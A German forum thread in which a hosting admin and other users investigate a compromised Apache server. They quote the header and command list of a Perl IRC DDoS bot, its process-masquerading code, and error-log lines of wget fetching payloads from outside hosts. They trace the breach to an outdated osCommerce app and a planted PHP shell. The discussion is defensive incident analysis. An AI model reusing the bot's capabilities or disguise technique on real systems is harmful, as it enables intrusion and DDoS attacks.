Webserver dreht durch und macht dem admin angst!

[Joe User]

Du brauchst einen Dump des RAM und den wirst Du ohne physischen Zugang zum System nicht bekommen. Ohne diesen Dump wirst Du auch keine weitere forensische Untersuchung durchführen können, da alle noch brauchbaren Informationen in Deinem Fall ausschliesslich im RAM liegen. Andernfalls würden die Binaries noch auf der Platte existieren.

Wenn Du wissen willst wie solche RootKits funktionieren, wie man sie aufspührt, oder gar selbst ein RootKit kaufen willst, kann ich Dir die US-Firma HBGary Inc. empfehlen, die gehören in diesem Bereich zu den ersten Adressen. Nur bei der Administration der eigenen Server und dem Erkennen von Social-Engineering haben sie noch etwas nachholbedarf, aber das ist bekanntlich ein ganz anderes Thema ;)

[martin27]

so jetzt habe ich auch meinen beweis gefunden! im /tmp verzeichnis finden sich einige files die vom user "apache" stammen darunter auch ein perl script.

hier mal der header:

Code: Select all

#!/usr/bin/perl
# Pitbull Bot
#
# Coded by : The_PitBull
#
# Thanks to :
# Ex0d3us for the Scanner
# r0x00k  for testing and helping
#
# Greets to :
# ASC @ irc.ascnet.biz
#
# Fuck you to :
# W8ting4u
# Morgan
#
#You can use the following commands :
#!bot @portscan <ip>
#!bot @back <ip><port>
#!bot @udpflood <ip> <packet size> <time>
#!bot @tcpflood <ip> <port> <packet size> <time>
#!bot @httpflood <site> <time>
#!bot @linuxhelp
#!bot @multiscan <vuln> <dork>
#!bot @googlescan <vuln> <dork>
#!bot @system
#!bot @milw0rm
#!bot @join <#channel>
#!bot @part <#channel>
#!bot @help
#!bot cd tmp for example
#
#
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

######################
use HTTP::Request;
use LWP::UserAgent;
######################
my $processo = '[ngesing]';

......

also es geht auch ohne forensische untersuchungen ;)

[martin27]

Du hättest jetzt einen halben Tag zeit gespart hättest Du dich mit der schon im Vorfeld getroffene Erkenntnis verlassen.

der musste ja jetzt kommen ;)

ich würde halt gerne mehr über diesen exploit erfahren dann kann ich vielleicht raus finden weshalb er es geschafft hat! solang ich das nicht weiß kann es immer wieder passieren.


da findet sich auch mein usr/local/apache:

Code: Select all

my @ps = ("/usr/sbin/bjork","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[bjork]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
$processo = $ps[rand scalar @ps];

[martin27]

ja ist ein irc bot mit dem man dann seine kommandos starten kann (portscan,ddos usw). alle dateien gehören zum user apache.

evtl. kann man mit dem bot auf die verwendete hintertür schließen? ich denke es ist mit sicherheit auf einen der website zurückzuführen die bei uns gehostet sind. schwer alle zu durchsuchen

[martin27]

ne, bjork binary gibt es ja nicht. so wie ich die zeile verstehe tanrt er sich nur als diesen prozess. habe das gerade mal hier lokal in einer vm getestet mit jedem starten nimmt er per random einen namen aus dem array als dessen sich der bot tarnt.

ein grep hab ich schon gemacht.

Code: Select all

Resolving bellysprout.com... 174.132.221.19
Connecting to bellysprout.com|174.132.221.19|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 63584 (62K) [image/png]
Saving to: `/tmp/sort.png'

     0K .......... .......... .......... .......... .......... 80%  103K 0s
    50K .......... ..                                         100% 11.3M=0.5s

2011-02-21 04:56:27 (127 KB/s) - `/tmp/sort.png' saved [63584/63584]

sh: fetch: command not found
--2011-02-21 04:59:16--  http://bellysprout.com/media/sort.png
Resolving bellysprout.com... 174.132.221.19
Connecting to bellysprout.com|174.132.221.19|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 63584 (62K) [image/png]
Saving to: `/tmp/sort.png'

     0K .......... .......... .......... .......... .......... 80%  102K 0s
    50K .......... ..                                         100% 9.94M=0.5s

2011-02-21 04:59:17 (126 KB/s) - `/tmp/sort.png' saved [63584/63584]8

aber so wirklich weiter bringt mich das auch net. außer das er irgendwie direkt befehle im httpd ausführt?! klingt mir nach buffer overflow oder? meine httpd version ist Server version: Apache/2.2.3

[Joe User]

Der (veraltete) Bot wird fast immer auch als Sprungbrett für weitere Payload genutzt. Eingeschleust wird er aktuell per WebApps, ProFTPd und Exim. Da er nach Deinen Angaben Apache gehörte, spricht es für eine anfällige WebApp. Da der Bot Payloads unterstützt, kommst Du um eine Reinitialisierung Deines Servers und das Stopfen aller vorhandenen Security-Bugs nicht umhin. Uptodate war Dein Server jedenfalls nicht...

[martin27]

Uptodate war Dein Server jedenfalls nicht...

naja soweit updates im centos drin waren waren diese installiert. der server sucht jede nacht nach updates!

ps: was heißt den Payload?

Wo ist die Ausgabe her?

Das sagt eigentlich nur, dass Daten herunter geladen wurden. vermutlich per urlopen bzw. fopen in php.

Btw. /tmp mountet man üblichereise nicht mit execute privilegien.
Aber das ist ja dank Plesk Installation nicht gegeben und muss man manuell anpassen.

die ausgabe ist aus der error_log vom httpd: /var/log/httpd/error_log

[Joe User]

sort.png ist nur die erste Payload, danach kommen in der Regel ein paar mehr.
Und ja, bjork dient nur zur Prozesstarnung, dem Pfad zum hier nicht existierenden httpd. Die anderen Optionen der Scripts sind aber viel interessanter, ebenso das gegebenenfalls angelegte Logfile.

Primitiver aber effektiver Bot inklusive Payload...


@matzewe01: noexec hilft nicht gegen Scripte, nur gegen Binaries ;)

[martin27]

Nur so am Rande: So lange Du noch suchst, und der Server normal in Betrieb ist, kann der Angreifer immer noch den Schadcode starten und damit für Ärger sorgen.

ja das ist klar. da es ein bot ist habe ich alle verbindungen die vom server aus gehen erstmal unterbunden und perl habe ich ihm auch genommen.


so, jetzt ist wieder diese uhrzeit und prompt kommt er mit neuen installationen:
Connecting to hbbb.com.au|184.106.137.176|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27295 (27K) [text/plain]
Saving to: `/var/tmp/css.log'

0K .......... .......... ...... 100% 112K=0.2s

2011-02-27 23:36:02 (112 KB/s) - `/var/tmp/css.log' saved [27295/27295]

starten kann er es aber nicht. tja wo ist die lücke....

[Joe User]

Er ist bereits auf dem Server, da ist keine Lücke mehr nötig.
Und da er den Payload vollständig erhalten hat, hast Du den outgoing Traffik nicht zuverlässig unterbunden.

[martin27]

naja ich glaube nicht das er ohne root rechte iptables patchen kann oder ähnliches. den upload mit hilfe einer fehlerhaften webapp kann er auch von außen automatisiert steuern. das belegen die vielen kopien des bots sowie das er direkt danach gestartet wird. beende ich ihn scheint er erst wieder zu laufen wenn der "runterladen - starten" prozess um nachts 23uhr läuft.. hätte er root zugriff wäre der umstand nicht nötig

[Joe User]

Nein, noexec hilft unter Linux bei Scripten grundsätzlich nicht, egal wie sie gestartet werden, dafür sorgt der Kernel höchstpersönlich ;) Da hilft auch ein Härten des (File)Systems nicht weiter.



Ich würde so einen periodischen offensichtlichen Payload als Ablenkungsmanöver anlegen und mein Opfer damit beschäftigen...

[martin27]

ja mir ist schon klar das es da genug exploits gibt. aber man muss ja auch den character des angriffes verstehen und bewerten.

das mit 23.00uhr ist nur so ca. es fängt wohl immer zwischen mitternacht an und cron deamon habe ich (seit die angriffe laufen) gestoppt und deaktiviert.

aber der befehl zum runterladen des scriptes kommt auch von außen und wird nicht auf meinem server gestartet. meiner meinung nach.

[Joe User]

Der Download wird mit Deinem wget durchgeführt, das erkennt man einwandfrei an dessen Ausgabe im Logauszug. Somit kommt der Befehl zum Download nicht (direkt) von Aussen, sondern von Innen.
Und spätestens wenn der Angreifer ein RootKit installieren konnte, ist der Payload nur noch ein (unbeabsichtigtes?) Ablenkungsmanöver.

[Joe User]

/usr ist wohl kaum noexec gemountet ;)

[martin27]

Der Download wird mit Deinem wget durchgeführt, das erkennt man einwandfrei an dessen Ausgabe im Logauszug. Somit kommt der Befehl zum Download nicht (direkt) von Aussen, sondern von Innen.
Und spätestens wenn der Angreifer ein RootKit installieren konnte, ist der Payload nur noch ein (unbeabsichtigtes?) Ablenkungsmanöver.

ja der download kommt von wget, das ist ja klar trotzdem kommt der angriff von außen.

zur info, ich hab den Übeltäter gefunden. eine total überalterte oscommerce webapp eines Kunden wo der Angreifer einfach eine phpshell einschleusen konnte und mit dieser dann auch den bot installieren konnte.

[martin27]

werde ich tun :)

[Joe User]

Nein aber /tmp/

und der Aufruf von
/tmp/perlscript.pl davon rede ich.
und nicht
/usr/bin/perl /tmp/perlscript.pl

'exec'uted wird /usr/bin/perl (Binary) und nicht /tmp/perlscript.pl (Textfile), deshalb greift noexec auch nicht.

Zum von mir vorher erwähnten Kernelsupport: http://en.wikipedia.org/wiki/Shebang_%28Unix%29 insbesondere History, ist also quasi UNIX-Standard.

[Joe User]

Hast Recht, ich habe tatsächlich aus Gewohnheit immer `interpreter file.ext` getestet und war so natürlich auch immer erfolgreich und habe erwartet, dass es wegen der magic number auch ohne vorangestelltem Interpreter funktionieren muss.

[martin27]

wie sollte man eigentlich mit dem "bösewicht" umgehen? also die ip habe ich bzw. es kam so ziemlich daher: mysticnet.com

aber vermutlich kann man da nichts machen oder?

[Joe User]

Der "Angreifer" ist auch nur ein Opfer, genauso wie Du auch vom Opfer zum Angreifer geworden bist. Insofern solltest Du den "Angreifer" darauf hinweisen, dass er selbst gehackt wurde und zum Hacken weiterer Systeme misbraucht wird.

[martin27]

naja schon, die große frage ist ja. wie schütze ich meinen webserver vor meinen eigenen kunden. man kann ab einer bestimmten größe nicht mehr jedes einzelne hosting per hand überprüfen. und sich darauf veralssen das die kunden ihre webapps aktuell halten ....... 8-[

[Joe User]

Desweiteren gestaltet man seine AGB dahingehend, dass die Kunden aktiv zur Sicherheit des Gesamtsystems beizutragen haben, indem sie sich Verpflichten ihre WebApps auf dem aktuellen Stand zu halten. Dies muss natürlich, ohne Verletzung des Datenschutzes, regelmässig, spätestens aber bei ungewöhnlichen Aktivitäten, auch geprüft und entsprechende Sanktionen, von der Abmahnung bis hin zur fristlosen Kündigung, durchgesetzt werden.

Wenn man schon Unternehmer sein will, dann bitte auch mit allen Konsequenzen.

[martin27]

ja das sind natürlich alles die 100% richtigen und professionellen lösungen und das einzig richtige. aber man sollte mal überlegen (bzw. plesk und die root server anbieter) wie kann ich jeden server schützen.
es ist ja zu x% das gleiche muster. admin hat root server ohne ext. firewall, mit plesk, mangelndes monitoring. auf dem webserver laufen ~100 websiten wo er keine chance hat zu kontrollieren (manuell) das jeder seine webapps aktuell hält.

so jetzt kommt der hacker mit seinem scanner und sucht die sicherheitslücken systematisch ab, findet eine webapp mit fehler und lädt sich per RFI seine php shell mit der er dann weitere software installiert (wie einen bot um ddos attacken zu koordinieren).

und eigentlich ist es ja total simpel an der stelle schon mal einzugreifen. plesk könnte zb. standart mäßig diese ganzen bösen php funktionen (shell_exec, exec, system usw. usw) sperren. dann wären glaube ich schon mal viele systeme sicherer.

ps: ich rede hier von den low systemen die sich jeder man beim hoster um die ecke mieten kann. das ist kein ersatz zu deinen genannten techniken!

[martin27]

naja ich spreche jetzt mal nicht von mir sondern etwas globaler. es geht hier nicht um mich, du kannst mir schon glauben das ich wohl weiß was ich tue.

jedenfalls, klar geht es um das Geld. aber es geht auch um das Geld der hoster und die müssten eigentlich ein Interesse daran haben das ihre "billig heimer" root server ein Grundmaß an Schutz gegen solche Standart Fehler haben.

ne möchte diese Diskussion hier nicht eröffnen da du/ihr die sicher schon 1000mal geführt habt (wenn das reicht).

aber man kann ja trotzdem von einer besseren welt träumen *träum*